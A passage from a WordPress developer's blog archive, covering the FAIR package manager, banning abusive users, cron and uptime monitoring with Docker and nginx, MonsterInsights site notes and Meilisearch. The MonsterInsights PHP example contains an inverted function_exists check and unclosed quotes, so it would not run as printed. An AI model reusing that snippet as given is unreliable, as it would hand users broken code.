It does not, cannot, think for itself. It will not propose to you “hey, I’ve been looking at the code you’re working on and I have an idea.” It will not solve the problem before you identify there is a problem.
AI is a tool.
Use your tool wisely.
But … can you make it better for the environment?
**Categories:** How It Is
**Tags:** AI, wordpress
---
### [We Should Free All WordPress Plugins and Themes](https://halfelf.org/2025/we-should-free-all-wordpress-plugins-and-themes/)
**Published:** June 9, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What if we democratized everything in WordPress, and not just publishing? What if we freed all themes and plugins? How far could we fly?
**Content:**
No, I don’t mean give them away for free. But put a pin in that, because this idea begins and ends with [FAIR](https://fair.pm).
If you haven’t yet heard about the FAIR Package Manager, the idea is to rethink how software is distributed and managed in the world of open web publishing. FAIR focuses on decentralization, transparency, and giving users more control.
And yes, I’m one of the first Technical Steering Committee’s Co-Chairs.
When I say we should free the plugins and the themes, I mean something I asked myself almost a decade ago…
## The (Initial) Question
I remember being on an airplane flying to Japan when I first asked myself this question:
> What would the WP world be like if we democratized the extension ecosystem?
>
> Mika Epstein circa 2015
Believe it or not, that note moved to a document, which grew over time, collected all the risks and rewards I could think up. I had logical trains of thought that ended with a failure. But I kept at it. I kept scribbling notes and refining the ideas, until I felt like I had a solid frame.
Sometime in the spring or summer of 2024, I sat and wrote it as a proposal that I had planned to present to folks on the Meta team as a future path for WordPress.org to **stop** hosting all the world’s plugins and themes, and instead make it a hell of a lot easier for people outside the `wordpress.org` services to host their own while still remaining findable.
## The World Before
20 years ago, the world was a different place with regards to the internet.
Remember, in 2003 Mike and Matt forked b/2 to make WP, and in 2004 MovableType decided to change their license, and in 2005 Git was invented.
So let’s set the table remembering that when WordPress came out with Plugins and Themes it was [2004](https://plugins.trac.wordpress.org/timeline?from=2004-12-11&daysback=1&authors=) and back then it was pretty rare for people to host other people’s stuff. That was actually the problem .org was fixing! Don’t have your own SVN setup? Only have $8 a year hosting (those were the days)? Don’t have a way to save all your versions?
Welcome to the WordPress extension system!
## The (Current) Problem
While WP solved the problem of 2004, 20 years passed and everything changed. Everyone’s computer has SVN and GIT now (more or less…), and everyone can host code on GitHub or GitLab or even roll their own pretty easily.
It’s almost like WordPress paved a road for self hosting being spread across the developer landscape. Not only can creators of content host their own websites, devs can host and manage their own updates.
And WordPress created a new issue of their own making: a gate. There are rules about what you can and cannot host, how you can behave, and frankly … I say this as one who was the Gatekeeper for too many years, **that gate is a necessary evil**.
By hosting code and content from other people, WordPress.org places itself in harms’ way. They became responsible for how everything was portrayed and published on the plugin/theme search pages, and that gate had to have rules to protect itself and ensure its continued existence. Like trademarks. You have to be vigilant because places like Facebook will try and shut the whole directory down if they decide it’s infringing.
That gate has become a hinderance to the democratized usage of WordPress.
To get around the rules of the gate, people host their own code now. Sure there are a couple options (EDD Updater, GitHub updater, there’s a plugin self-updater out there as well). But because of that gate, they aren’t *findable*. This hurts WordPress. It stifles growth, it makes it harder for people to make their living on WP, and that is a net loss for everyone.
## My (Then) Proposed Solution
WordPress.org should stop hosting non-official Plugins and Themes (including Akismet) and instead host the following:
- Example Plugins (hello dolly)
- Core Plugins (Classic Editor, Classic Menus, HealthCheck)
- Core Themes (`twenty-*`)
- A directory of other plugin and theme directories
That last one is the crux of the whole matter. We give hosting back to the developers (just like we gave hosting to the content creators) and then we welcome in their content without liability.
The thing was, I knew damn well this is something that WordPress.org would fight me over. Stop hosting? Make that radical of a change to completely rewrite how we access code? Distribute everything and own nothing?
An uphill battle to say the least.
So, like I did every time I opened that doc, I re-read it, made some tweaks, ran it though and AI on a whim and cleaned it up even more, and I closed it.
## The FAIR Future
This brings me back to [FAIR](https://fair.pm).
Sounds like it was made for this proposal, huh?
I cannot take credit. It’s lightning striking the same place twice. But that makes sense, doesn’t it? No, I’m not talking about how WordPress and I share a birthday, I’m talking about how I absolutely couldn’t be the only human on the planet with this idea in their head.
Naturally I dove in. I helped writing the docs, translating High Geek explanations into Corporate Lingo, pitching and refining ideas, collecting information from the developers who were far better at these things than I am, learning about AtProto.
When I was nominated to be on the TSC, I sat with my wife to discuss the implications and risks of accepting. There was a very real possibility this could destroy my career, and I’m a developer looking at 50 while being female. Finding another job, if this went badly, could become impossible.
But I have a poster. “Flynn Lives.” For years it hung on the wall across from my desk, and I would look up at it and remember the line. “I fight for the users.”
I started helping in the WP forums to help the users. I joined plugins for the same thing. I ran plugins with the dual view of fighting to make things easier for users *and* developers. And I failed, trying to do that. But I’ve learned and grown and changed.
In order for WordPress to move from being that joke to “just a blog” CMS that ‘real’ developers mock, to grow the ecosystem and help everyone make money, to get even bigger while still giving back to everyone, distribution is key.
## Democratize Distribution
FAIR is at step one of the plan.
Today, the plugin can disconnect you from WordPress.org for updates (which has the added benefit of more data privacy). There’s only one distribution source right now (thank you [AspirePress](https://aspirepress.org)! none of this is possible without you) but it proves you can do this. It’s got some work left to do and we welcome everyone’s eyes and hands to help. It is very much an MVP release (something I stressed over and over during the dev cycle, to keep folks out of the weeds).
Next is the part where we build out the system to hand the keys to the developers. No more AppStore and rules. Push what *you* think is right to push.
Will some people abuse that? Of course. Someone will push weekly updates so you’re always being notified. Someone will cover the admin panel with ads. Those things happen today, and the plugin review team cannot keep up because there are more devs than reviewers.
But there are things we can and will do to help and protect users, to empower developers, and assist the hosting companies and more. Everyone benefits from this future.
We have a plan, and we hope you come with us.
Other people collaborating with FAIR have blogged as well:
- [Joost de Valk](https://joost.blog/path-forward-for-wordpress/)
- [Karim Marucchi](https://marucchi.com/introducing-the-fair-package-manager-for-wordpress/)
- [Ryan McCue](https://journal.rmccue.io/488/)
- [Siobhan McKeown](https://siobhanmckeown.com/a-way-forward-with-fair/)
NB: Currently Flynn Lives is on loan to my barber for his art wall, and instead I have [Nichelle Nichols](https://lindsayvanek.myshopify.com/en-us/products/our-lady-of-new-frontiers-print) and [Carrie Fisher](https://lindsayvanek.myshopify.com/en-us/products/blessed-rebel-queen-print).
**Categories:** How It Could Be
**Tags:** administration, essay, FAIR, wordpress
---
### [Toxic Users: The Unforgiven and the Danger of Unbanning](https://halfelf.org/2025/toxic-users-the-unforgiven-and-the-danger-of-unbanning/)
**Published:** May 7, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Toxic users can poison an online community. They harass, threaten, and exploit. Some are beyond redemption. This is why unbanning the unforgiven is a dangerous gamble.
**Content:**
Over the last couple years, I posted a **lot** of stories about the crazy things I saw as the Plugin Rep on WordPress.org. A great number of those situations ended with someone being banned, but those aren’t the only stories out there.
Still, with the recent situation on WordPress.org, I felt it was appropriate to break down my views on banning, and when it’s the right thing to do.
## Bans are about Safety First
The number one reason to ban anyone is the physical safety of the community.
With the recent announcement of a “Jubilee” and how people who were banned between August 2024 and now are being reviewed and (in some part) unbanned, I made a fairly vocal statement on Mastodon and BlueSky that this was a dangerous thing.
> So [\#Wordpress](https://tech.lgbt/tags/Wordpress) (org) is really unbanning EVERYONE who’s ever been banned. This was confirmed by Matt on Twitter (screenshot attached).
>
> I’m going to have to cold-stop any and all contributions because it’s demonstrably UNSAFE for me to be a part of the community.
>
> Stalkers. Harassers. DEATH THREATS.
>
> It’s NOT safe for me to be there.
>
> Until someone SANE comes up with limits, guidelines, and restrictions for this ‘all bans,’ it is NOT SAFE for me to be on WordPress.org.
>
> I repeat: THIS IS NOT A SAFE COMMUNITY FOR ME OR ANY OF THE THOUSANDS OF VOLUNTEERS WHO HAVE WORKED HARD TO ENFORCE GUIDELINES EQUITABLY FOR OVER A DECADE.
>
> (See [X/Twitter](https://x.com/SpencerForman/status/1914522570541453542) for the thread)
>
> [Ipstenu (Mika E.) on Mastodon](https://tech.lgbt/@ipstenu/114383505760971976)
I will note, I posted that **before** any clarifications as to who was being unbanned.
While I have had one credible death threat (and a half dozen others that were laughably stupid, including threats to have various Gods wreak vengeance on me), I am aware via my friendships with Automattic employees that there are a significant number of legit threats out there.
Those people can and should be banned, and **must** remain banned. Period.
## Safety isn’t Just Physical
The number two reason to ban anyone is the ephemeral safety of the community.
By ‘ephemeral’ I generally mean code. That is, if someone is putting backdoors in their plugin, we need to kick them out and ban them because they are an abject danger to the sites the plugins are installed on.
But this also means things like extortion, harassment, name calling, bullying, and so on. If someone demonstrates, through their repeated actions, that they can only communicate in a hostile manner, then they need to leave the community.
There’s a saying, once a single Nazi is allowed into a bar, it has become the [Nazi Bar](https://en.wiktionary.org/wiki/Nazi_bar). All communities need to stringently protect the safety of their users. If leadership is okay with a couple people mistreating their community members, then they have just demonstrated they are **not** going to protect the more vulnerable members.
This protection is bidirectional, by the way. I’ve banned as many users for harassing developers as I have developers for harassing users!
## The Community is More than Users and Developers
The number three reason to ban anyone is the legal safety of the community.
Any community of a decent size is one that faces legal matters. It can be a fan-club, an open-source development community, or a writing group. You have to be aware of the legalities of what you’re doing.
You have no idea how many times I’ve had to explain the basics of copyright and trademark law to developers, who just want to have a plugin for Facebook. I totally get it, Facebook is delulu about how they enforce their trademark — you can’t even use the word ‘Facebook’ or ‘FB’ in any of your plugin names, meaning no ‘Integration of Blah with Facebook’. But that’s how it is, and you have to obey the law.
For example, if a plugin is closed for something like that and the dev complain but make the change, that’s good. But if they make the change *back* when the plugin team isn’t looking, because they happen to know the team doesn’t review every change, then what happens is the plugin team gets a very nasty legal doc that threatens the entire repository. They plugin gets closed a second time.
You can see how this would escalate. Especially when the dev starts complaining ‘but someone else got away with it!’ See what really happens when they do that is the team goes and looks at the other person and closes *their* plugin. No one wins. The legal team from Facebook gets angrier and angrier, and the legal mess gets worse and worse.
If someone is the cause of putting the entire repository (or worse, the project) in legal jeopardy, they’re going to get banned and should be. They’re reckless and a danger to all.
## Fake Content Hurts the Community
The number four reason to ban anyone is spam, auto-generated content, and lying.
I’m sure someone is confused that I’ve lumped them together, but they’re all worthless content.
Spam, no one would argue is ‘good.’ I know you get that one. Lying? Again, pretty obvious why you’d get banned for lying over and over again. If you can’t be trusted, then your contributions can’t be trusted.
But auto-generated content? I almost called it ‘low quality content’ because that’s what it is. People who post copies of AI generated ‘answers’ wholesale are posting low quality content. Since we know that AI has issues with hallucinations (read ‘it just gets things wrong sometimes’), you have to verify it. If you’re doing that, you’re going to end up changing some of what it says.
When someone doesn’t change anything it said, they’re not adding anything of value. It’s like dropping a ‘Let me google that for you’ link. They’re wasting everyone’s time and aren’t educating someone on how to help themself in the future. This is especially true on *support* forums.
Community should help itself. If someone wants to look things up with AI, more power to them, but if they come to a place to ask for help, they deserve to be treated as a human, not a bot.
## Protect the Community From Yourself
The number five reason to ban anyone is they’re actually acting harmfully to the *community*, not just you.
This is sort of a backwards thing. It’s more ‘the number one reason NOT to ban…’ but it works anyway.
I have never once banned a single person because they annoyed me, or hurt my feelings, or even threatened me.
I’m pretty sure there are some people out there who are scoffing.
As hard as that may be for some of you to believe, it’s the truth. I have only banned people for guideline violations. Pretty much all the threats I’ve received happened *after* I banned people, first of all, but more to the point, everyone who devolves to threats tends to have a violation first.
There are some rare exceptions. I remember a few plugin reviews that had the sole reply of “fuck you” (or similar eloquence) and those were pre-emptively banned. **Not** because they swore at me, but because they clearly were incapable of following the guidelines. I didn’t want people thinking it was okay to talk like that to the community.
Not me.
The community.
Call me whatever you want, I don’t care, but when you do that I sure as hell judge you.
## The Community Must Come First
You may sense a theme here.
Every single reason you ban someone is to help the community. Sometimes you’re protecting the community from itself, sometimes you’re doing things because there’s a grumpy lawyer standing over your shoulder (metaphorically), but at the end of the day you ban people who are actively harmful to the community.
There will always be people who cannot be unbanned because of the danger they represent. Those people, the people who hurt the community, must stay out.
**Categories:** How It Is
**Tags:** safety, wordpress
---
### [Automate Your Site Checks with Cron (and WPCron)](https://halfelf.org/2025/automate-your-site-checks-with-cron-and-wpcron/)
**Published:** April 30, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to monitor all your cron jobs on your WordPress site? You can do this, but it's messy. Really messy.
**Content:**
I have a self-hosted [healthchecks.io instance](https://halfelf.org/2025/cute-bears-uptime-kuma-and-docker/) (mentioned), and I use it to make sure all the needful cron jobs for my site actually run. I have it installed via Docker, so it’s not super complex to update and that’s how I like it.
The first cron jobs I monitored were the ones I have setup in my `crontab` on the server:
1. Run WP ‘due now’
2. Set daily random ‘of the day’
3. Download an iCal file
4. Run a nightly data validity check
I used to have these using WP Cron, but it’s a little too erratic for my needs. This is important, remember this for later, it’ll come back up.
Once I added in those jobs, I got to thinking about the myriad WP Cron jobs that WordPress sets up on its own.
In fact, I have a *lot* of them:
```
+------------------------------------------------+---------------------+-----------------------+---------------+
| hook | next_run_gmt | next_run_relative | recurrence |
+------------------------------------------------+---------------------+-----------------------+---------------+
| rediscache_discard_metrics | 2025-04-25 17:51:15 | now | 1 hour |
| wp_privacy_delete_old_export_files | 2025-04-25 18:16:33 | 20 minutes 38 seconds | 1 hour |
| wp_update_user_counts | 2025-04-25 20:30:03 | 2 hours 34 minutes | 12 hours |
| recovery_mode_clean_expired_keys | 2025-04-25 22:00:01 | 4 hours 4 minutes | 1 day |
| wp_update_themes | 2025-04-26 04:57:57 | 11 hours 2 minutes | 12 hours |
| wp_update_plugins | 2025-04-26 04:57:57 | 11 hours 2 minutes | 12 hours |
| wp_version_check | 2025-04-26 04:57:57 | 11 hours 2 minutes | 12 hours |
[...]
+------------------------------------------------+---------------------+-----------------------+---------------+
```
While I could manually add them all to my tracker, the question comes up with how to add the ping to the end of the command?
## The Code
I’m not going to break down the code here, it’s far too long and a lot of it is dependant on my specific setup.
In essence, what you need to do is:
1. Hook into `schedule_event`
2. If the event isn’t recurring, just run it
3. If it *is* recurring, see if there’s already a ping check for that event
4. If there’s no check, add it
5. Now add the ping to the end of the actual cron even
6. Run the event
I actually built out code like that using Laravel recently, for a work related project, so I had the structure already in my head and I was familiar with it. The problem though is WP Cron is nothing like ‘real’ cron.
Note: If you *really* want to see the code, the beta code can be found in the [LWTV GitHub repository](https://github.com/LezWatch/lwtv-underscores/blob/production/plugins/lwtv-plugin/php/features/class-health-checks.php). It has an issue with getting the recurrence, which is why I made this post.
## When CRON isn’t CRON
From [WikiPedia](https://en.wikipedia.org/wiki/Cron):
> The actions of cron are driven by a **crontab** (cron table) file, a configuration file that specifies shell commands to run periodically on a given schedule. The crontab files are stored where the lists of jobs and other instructions to the cron daemon are kept.
Which means crontab runs on the server time. When the server hits the time, it runs the job. Adding in jobs with the ping URL is quick:
`*/10 * * * * /usr/bin/wp cron event run --due-now --path=/home/username/html/ && curl -fsS -m 10 --retry 5 -o /dev/null https://health.ipstenu.com/ping/APIKEY/due-now-every-10`
This job relies on the server being up and available, so it’s a decent metric. It always runs every ten minutes.
But WP Cron? The ‘next run’ time (GMT) is weirdly more precise, but less reliable. `2025-04-25 17:51:15` doesn’t mean it’ll run at 5:51pm GMT and 15 seconds. It means that the next time *after* that timestamp, it will attempt to run the command.
Since I have a scheduled ‘due now’ caller every ten minutes, if no one visits the site at 5:52pm (rounding up), then it won’t run until 6pm. That’s generally fine, but HealthChecks.io doesn’t *really* understand that. More to the point, I’m guestimating when
HealthChecks.io has three ways to check time: [Simple, Cron, and onCalendar](https://healthchecks.io/docs/configuring_checks/). In general, I use Cron because while it’s cryptic, I understand it. That said, there’s no decent library to convert seconds (which is what WP uses to store the interval timing) which means you end up with a mess of if checks.
## A Mess of Checks
First, pick a decent ‘default’ (I picked every hour).
1. If the interval in seconds is not a multiple of 60, use the default.
2. If the interval is less than 60 seconds, run every minute.
3. Divide seconds by 60 to get minutes.
4. If the interval in minutes is not a multiple of 60, use the default.
5. If the interval is less than an hour (1 to 59 minutes), run every x minutes.
6. Divide minutes by 60 to get hours.
7. If the interval in hours is not an even number of days (divide hours by 24), use the default
8. If the interval is less than a day (1 to 23 hours), run every X hours.
9. Divide hours by 24 to get days.
10. If the days interval is not a multiple of 7 , use the default.
11. If the interval is less than a week (1 to 6 days), run every X days.
12. Divide days by 7 to get weeks.
13. If the interval is a week, run every week on ‘today’ at 00:00
You see where this is going.
And then there’s the worse part. After you’ve done all this, you have to tweak it.
## Tweaking Timing
Why do I have to tweak it? Well for example, let’s look at the check for expired transients:
```
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}
```
This runs every day. Okay, but I don’t know exactly when it’ll run, just that I expect it to run daily. Using my logic above, the cron time would be `0 0 * * *` which means … every day at midnight server time.
But, like I said, I don’t actually know if it’ll run at midnight. In fact, it probably won’t! So I have to setup a grace period. Since I don’t know when in 24 hours something will run, I set it to 2.5 times the interval. If the interval runs every day, then I consider it a fail if it doesn’t run every two days and change.
I really hate that, but it’s the best workaround I have at the moment.
## Should You Do This?
Honestly?
No.
It’s positively ridiculous to have done in the first place, and I consider it more of a Proof of Concept than anything else. With the way WP handles cron and scheduling, too, it’s just a total pain in the backside to make this work without triggering alerts all the time!
But at the same time, it does give you a lot more insight into what your site is doing, and when it’s not doing what it should be doing! In fact, this is how I found out that my Redis cache had held on to cron jobs from plugins long since removed!
There are benefits, but most of the time this is nothing anyone needs.
**Categories:** How To
**Tags:** cron, health check, wordpress
---
### [Cute Bears, Uptime Kuma, and Docker](https://halfelf.org/2025/cute-bears-uptime-kuma-and-docker/)
**Published:** April 16, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Chilling on my couch with an iPad and I built out my own replacement for UptimeMonitor.
**Content:**
I have a confession.
I use Docker on my laptop all the time to create a stable test environment that I can use and abuse and validate before I push to my staging servers. When it’s just WordPress, I use [LocalWP](https://localwp.com) which is hands down one of the best ‘just WP’ desktop tools out there.
But I don’t really *do* Docker on my servers.
Or at least, I didn’t until last week.
## Vibe Coding
I have a new habit, where I spin up test things while sprawled on my couch watching TV and messing on my iPad. All of this was done on my iPad using:
- GitHub App
- Terminus
- ChatGPT
Oh.
Yeah. I used ChatGPT.
Before you judge me, I validated and tested *everything* and didn’t blindly trust it, but honestly I did use it for a fast lookup where I didn’t want to figure out the specific search to get to my answer.
My coworkers joked I’ve gone beyond vibe coding with this.
## Uptime Kuma
[Uptime Kuma](https://uptime.kuma.pet) is a replacement for UptimeRobot.
> Kuma (クマ/熊) means bear 🐻 in Japanese.
>
> A little bear is watching your website.🐻🐻🐻
I mean *come on*, how could I not?
Anyway. How do I install this with Docker?
First of all, I have a dedicated server at DreamHost, which allows me to install Docker.
Assuming you did that, pull the image down: `docker pull louislam/uptime-kuma`
I store my docker stuff in `/root/docker/` in subfolders, but you can do it wherever. Some people like to use `/opt/uptime-kuma/` for example. Wherever you store it, you’ll need a `docker-compose.yml` file:
```
version: "3"
services:
uptime-kuma:
image: louislam/uptime-kuma:latest
container_name: uptime-kuma
restart: unless-stopped
ports:
- "3001:3001"
volumes:
- ./data:/app/data
environment:
- TZ=America/Los_Angeles
```
Keep in mind that data folder? It’ll be created in your `uptime-kuma` folder. In it are things like the logos I uploaded, which is cool. Anyway, once you’re done, make sure you’re in that `uptime-kuma` folder and run `docker-compose up -d`
## Why Docker? Why Now?
Normally my directions on how you do all this stuff is hella long and complex. There’s a reason I went with Docker when I’ve been avoiding it for (well) years on my servers.
First of all, it’s isolated. This means it keeps its packages to itself, and I don’t have to worry about the requirements for app A messing up app B. This is *hugely* important the more apps you have on a server. I have Meilesearch, Uptime Kuma, and more! This gets unwieldy pretty fast.
The other big reason is … it’s easy. I mean, come on, it’s two commands and a config file!? Compare that to the manual steps which (for one app I manage) can have pages of documentation and screenshots.
Speaking of easy? Let’s say an upgrade went tits up on your server. Guess what? Rolling back on Docker is super easy. You basically just change the image. All your data is fine.
I know, right? It’s super weird! But if you remember that `data` folder? Right so that doesn’t get deleted. It lives in my `/root/docker/uptime-kuma/` folder and even if I change the docker image, that folder has my data!
## What’s the Gotcha?
There is *always* a Gotcha. In my case, it’s that Nginx can be a bit of a jerk. You have to set up a thing called proxy\_pass:
```
server {
server_name status.ipstenu.com;
location / {
proxy_pass http://localhost:3001;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_redirect off;
}
listen 443 ssl;
ssl_certificate /etc/letsencrypt/live/status.ipstenu.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/status.ipstenu.com/privkey.pem;
include /etc/letsencrypt/options-ssl-nginx.conf;
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
server {
if ($host = status.ipstenu.com) {
return 301 https://$host$request_uri;
}
server_name status.ipstenu.com;
listen 80;
return 404;
}
```
But see here’s where it’s extra weird.
Now, if you go to [status.ipstenu.com](https://status.ipstenu.com/) you’ll get a dashboard login. Won’t help you, right? But if you go to (for example) [status.ipstenu.com/status/lwtv](https://status.ipstenu.com/status/lwtv) you’ll see the status page for LezWatch.TV.
And if you go to [status.**lezwatchtv**.com](https://status.lezwatchtv.com) …. You see the same thing.
Get this. Do the same thing you did for the main nginx conf file, but change your location part:
```
location / {
proxy_pass http://127.0.0.1:3001;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
```
That’s it. Take a bow.
## Docker for Everything?
No.
I didn’t do docker for my [Meilisearch UI](https://github.com/riccox/meilisearch-ui) install because it’s a simple webpage that doesn’t need it (and yes, that means I *did* redo my [Meilisearch](https://halfelf.org/2025/meilisearch-at-home/) install as Docker).
I wouldn’t do my WordPress site as Docker … yet … mostly because it’s not an official Docker, but also because WordPress is a basic PHP app. Same as FreshRSS. They don’t need Docker, they need a basic web server, and the risks of compatibility issues are low.
## ChatGPT / AI Coding for Everything?
No.
I see where ‘AI’ is going and while I don’t consider it actually artificial intelligence, it is a super complex language learning model than can take your presets and assist you.
But AI hallucinates. A lot. Like, I asked it to help me set up Meilisearch UI in docker, only to find out that only works for dev and it wanted me to hack the app. I have another project where it’s constantly telling me there’s a whole library that doesn’t exist (and never has), that will solve my problems.
It got so bad, my boss tried it on his early-release version of an AI tool and it got **worse**.
And finally … sometimes it gets super obsessive about the wrong thing. I had a config wrong for Kuma at one point, and ChatGPT kept telling me to check my nginx settings. I had to tell it “Someone will die if you ask me about my nginx settings again” to make it stop.
## What Can I Do with Kuma?
That little bear is handling 80% of my monitoring now. The remaining 20% are cron jobs that I use [HealthChecks.io](https://healthchecks.io) for (self hosted, of course).
What are my Kuma-chans?
- 2 basic “Is this site up?” for GitHub and a service we use.
- 3 slightly more complex “Is this site up *and* how’s the SSL cert?” for all three domains I own in this case.
- 1 basic “Does this keyword exist on this URL?” check for making sure my site isn’t hacked.
- 2 basic “Does this API key pair exist with this specific data?” for two APIs that do very different things.
- 1 auth login “Do I still have access to this API?” check for a service.
I mentioned there are 2 basic API checks, but they do different things. Here’s where it’s fun.
Ready?
ScreenshotNow that part is pretty basic. Right? Check the API, confirm the date for ‘died’ is what I think, done. And if it’s not? What do I do?
Well I send a Slack Message:
ScreenshotThis tells us the death is down. Which means ‘someone new has been added to the site as a most recent death.’
Right now I have to manually go in and change the value to the valid one, but it works. And it’s one way to keep everyone updated.
**Categories:** How To
**Tags:** coding, docker, health check
---
### [Monstrous Site Notes](https://halfelf.org/2025/monstrous-site-notes/)
**Published:** March 31, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** MonsterInsights has a Site Notes feature, and you can automate them. It's fun.
**Content:**
If you have a MonsterInsights Pro or Agency, you have access to [Site Notes](https://www.monsterinsights.com/docs/getting-started-with-site-notes/).
They’re a great way to automagically connect your traffic reports to ‘things’ you’ve done on your site. The problem is that Site Notes are, by default, manual. To automate them, you need yet another plugin.
Now to a degree, this makes sense. While the out of the box code is pretty clearcut, there’s one ‘catch’ and its categories.
## The Basic Call
The actual code to make a note is pretty simple:
```
$note_args = array(
'note' => 'Title,
'author_id' => 'author,
'date' => 'date',
'category_id' => 1, // Where 1 is a category ID
'important' => [true|false],
);
monsterinsights_add_site_note( $note_args );
```
But as I mentioned, `category_id` is the catch. There isn’t actually an interface to know what those IDs are. The automator tools hook in and set that up for you
Thankfully I know CLI commands and I can get a list:
```
$ wp term list monsterinsights_note_category
+---------+------------------+-----------------+-----------------+-------------+--------+-------+
| term_id | term_taxonomy_id | name | slug | description | parent | count |
+---------+------------------+-----------------+-----------------+-------------+--------+-------+
| 850 | 850 | Blog Post | blog-post | | 0 | 0 |
| 851 | 851 | Promotion | promotion | | 0 | 0 |
| 849 | 849 | Website Updates | website-updates | | 0 | 0 |
+---------+------------------+-----------------+-----------------+-------------+--------+-------+
```
But I don’t want to hardcode the IDs in.
There are a couple ways around this, thankfully. WordPress has a function called `get_term_id()` which lets you search by the slug, name, or ID. Since the list of categories shows the names, I can grab them!
Screenshot of Site Notes Categories page.That means I can get the term ID like this:
```
$term = get_term_by( 'name', 'Blog Post', 'monsterinsights_note_category' );
```
Now the gotcha here? You can’t rename them or you break your code.
## Example for New Posts
Okay so here’s how it looks for a new post:
```
add_action( 'publish_post', 'create_site_note_on_post_publish', 10, 2 );
function create_site_note_on_post_publish( $post_ID, $post ) {
if ( function_exists( 'monsterinsights_add_site_note' ) ) {
return;
}
if ( $post->post_type !== 'post' ) {
return;
}
$post_title = $post->post_title;
$term = get_term_by( 'name', 'Blog Post', 'monsterinsights_note_category' );
// Prepare the site note arguments
$args = array(
'note' => 'New Post: ' . sanitize_text_field( $post_title ),
'author_id' => $post->post_author,
'date' => $post->post_date,
'category_id' => $term->term_id,
'important' => false
);
monsterinsights_add_site_note( $args );
}
```
See? Pretty quick.
**Categories:** How To
**Tags:** analytics, plugins, wordpress
---
### [Meilisearch at Home](https://halfelf.org/2025/meilisearch-at-home/)
**Published:** March 12, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Integrating Meilisearch with your WordPress site isn't actually that hard, and it sure make search faster.
**Content:**
There are things most CMS tools are great at, and then there are things they suck at. Universally? They all suck at search when you get to scale.
This is not really true fault of the CMS (be it WordPress, Drupal, Hugo, etc). The problem is search is difficult to build! If it was easy, everyone would do it. The whole reason Google rose to dominance was that it made search easy and reliable. And that’s great, but not everyone is okay with relying on 3rd party services.
I’ve used ElasticSearch (too clunky to run, a pain to customize), Lunr (decent for static sites), and even integrated Yahoo and Google searches. They all have issues.
Recently I was building out a search tool for a private (read: internal, no access if you’re not ‘us’) service, and I was asked to do it with MeiliSearch. It was new to me. As I installed and configured it, I thought … “This could be a nice solution.”
## Build Your Instance
When you read the directions, you’ll notice they want to install the app as root, meaning it would be one install. And that sounds okay until you start thinking about multiple servers using one instance (for example, WordPress Multisite) where you don’t want to cross contaminate your results. Wouldn’t want posts from Ipstenu.org and Woody.com showing up on HalfElf, and all.
There are a couple of ways around that, Multi-Tenancy and multiple Indexes. I went with the indexes for now, but I’m sure I’ll want tenancy later.
I’m doing all this on [DreamHost](https://dreamhost.com), because I love those weirdos, but there are pre-built images on DigitalOcean if that floats your goat:
1. Make a *dedicated* server or a DreamCompute (I used the latter) – you need root access
2. Set the server to Nginx with the latest PHP – this will allow you to make a proxy later
3. Add your ssh key from `~/.ssh/id_rsa.pub` to your [SSH keys](https://panel.dreamhost.com/index.cgi?tree=users.sshkeys) – this will let you log in root (or an account with root access)
Did that? Great! The actual installation is pretty easy, you can just [follow the directions](https://www.meilisearch.com/docs/guides/deployment/running_production) down the line.
## Integration with WordPress
The first one I integrated with was WordPress and for that I used Yuto.
> [Yuto – Meilisearch Integrator](https://wordpress.org/plugins/yuto/)
It’s incredibly straightforward to set up. Get your URL and your Master Key. Plunk them in. Save. Congratulations!
On the Indices page I originally set my UIDs to `ipstenu_posts` and `ipstenu_pages` – to prevent collisions. But then I realized… I wanted the whole site on there, so I made them both `ipstenu_org`
Yuto ScreenshotI would like to change the “Ipstenu\_org” flag, like ‘If there’s only one Index, don’t show the name’ and then a way to customize it.
I will note, there’s a ‘bug’ in Yuto – it has to load all your posts into a cache before it will index them, and that’s problematic if you have a massive amount of posts, or if you have anti-abuse tools that block long actions like that. I made a quick WP-CLI command.
### WP-CLI Command
The command I made is incredibly simple: `wp ipstenu yuto build-index posts`
The code is fast, too. It took under a minute for over 1000 posts.
After I made it, I shared it with the creators of Yuto, and their next release includes a version of it.
## Multiple Indexes and Tenants
You’ll notice that I have two indexes. This is due to how the plugin works, making an index per post type. In so far as my ipstenu.org sites go, I don’t mind having them all share a tenant. After all, they’re all on a server together.
However… This server will also house a Hugo site and my other WP site. What to do?
The first thing I did was I made a couple more API keys! They have read-write access to a specific index (the Key for “Ipstenu” has access to my `ipstenu_org` index and so on). That lets me manage things a lot more easily and securely.
While Yuto will make the index, it cannot make custom keys, so I used the API:
```
curl \
-X POST 'https://example.com/keys' \
-H 'Authorization: Bearer BEARERKEY' \
-H 'Content-Type: application/json' \
--data-binary '{
"description": "Ipstenu.org",
"actions": ["*"],
"indexes": ["ipstenu_org"],
"expiresAt": null
}'
```
That returns a JSON string with (among other things) a key that you can use in WordPress.
Will I look into Tenancy? Maybe. Haven’t decided yet. For now, separate indexes works for me.
**Categories:** How To
**Tags:** coding, plugins, search, wordpress
---
### [Cookie Consent on Hugo](https://halfelf.org/2025/cookie-consent-on-hugo/)
**Published:** February 28, 2025
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Cookie Consent matters, even when your site is a tidy little static site that only makes one cookie call.
**Content:**
[Hugo](https://gohugo.io) is my favourite static site generator. I use it on a site I originally created in 1996 (yes, [FLF](https://jorjafox.net) is about to be 30!). Over the last 6 months, I’ve been totally overhauling the site from top to bottom, and one of the long-term goals I had was to add in Cookie Consent.
## Hugo Has Privacy Mode
One of the nice things about Hugo is they have a built in handler for [Privacy Mode](https://gohugo.io/about/privacy/).
